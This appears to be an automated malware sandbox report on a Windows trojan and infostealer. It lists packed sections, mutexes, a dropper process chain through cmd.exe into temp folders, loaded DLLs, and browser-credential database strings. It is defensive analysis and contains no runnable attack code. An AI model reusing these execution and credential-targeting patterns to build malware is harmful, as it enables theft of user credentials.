Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9967749489100818
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: Section: pcxsfzhs ZLIB complexity 0.9944540457842248
Source: explorti.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0000533640710383
Source: explorti.exe.5.dr	Static PE information: Section: cwtgiuyn ZLIB complexity 0.9942648984781278
Source: axplong.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9967749489100818
Source: axplong.exe.8.dr	Static PE information: Section: pcxsfzhs ZLIB complexity 0.9944540457842248

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@48/55@23/10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C607030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C607030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\H6P4REFQ.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:348:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1816
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8016
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6648
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2764

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: firefox.exe, 0000001E.00000002.3052198523.00000270DA3AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE database( name TEXT PRIMARY KEY, origin TEXT NOT NULL, version INTEGER NOT NULL DEFAULT 0, last_vacuum_time INTEGER NOT NULL DEFAULT 0, last_analyze_time INTEGER NOT NULL DEFAULT 0, last_vacuum_size INTEGER NOT NULL DEFAULT 0) WITHOUT ROWID0;
Source: file.exe, file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2085082126.0000000002566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2084690109.0000000022C85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2072848945.0000000022C69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2401464111.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

Virustotal: Detection: 40%

Source: RoamingCFCGIIEHIE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: userAKKKFBGDHJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAKKKFBGDHJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAKKKFBGDHJ.exe "C:\Users\userAKKKFBGDHJ.exe"
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 2376
Source: C:\Users\userAKKKFBGDHJ.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe "C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8016 -s 1048
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe "C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe "C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 1040
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe "C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02178454-e4c2-415f-b68b-05bee77a99df} 5256 "\\.\pipe\gecko-crash-server-pipe.5256" 270c9b6d510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1316 -parentBuildID 20230927232528 -prefsHandle 4188 -prefMapHandle 4184 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {289cd873-04d9-4964-ab61-b0224a3875ef} 5256 "\\.\pipe\gecko-crash-server-pipe.5256" 270dcbf3310 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe "C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 1028
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8056b53a-6eb2-4492-b78e-15b0c58ed1fc} 6396 "\\.\pipe\gecko-crash-server-pipe.6396" 2773686c110 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAKKKFBGDHJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAKKKFBGDHJ.exe "C:\Users\userAKKKFBGDHJ.exe"	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe "C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe "C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02178454-e4c2-415f-b68b-05bee77a99df} 5256 "\\.\pipe\gecko-crash-server-pipe.5256" 270c9b6d510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1316 -parentBuildID 20230927232528 -prefsHandle 4188 -prefMapHandle 4184 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {289cd873-04d9-4964-ab61-b0224a3875ef} 5256 "\\.\pipe\gecko-crash-server-pipe.5256" 270dcbf3310 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8056b53a-6eb2-4492-b78e-15b0c58ed1fc} 6396 "\\.\pipe\gecko-crash-server-pipe.6396" 2773686c110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: wintypes.dll	Jump to behavior
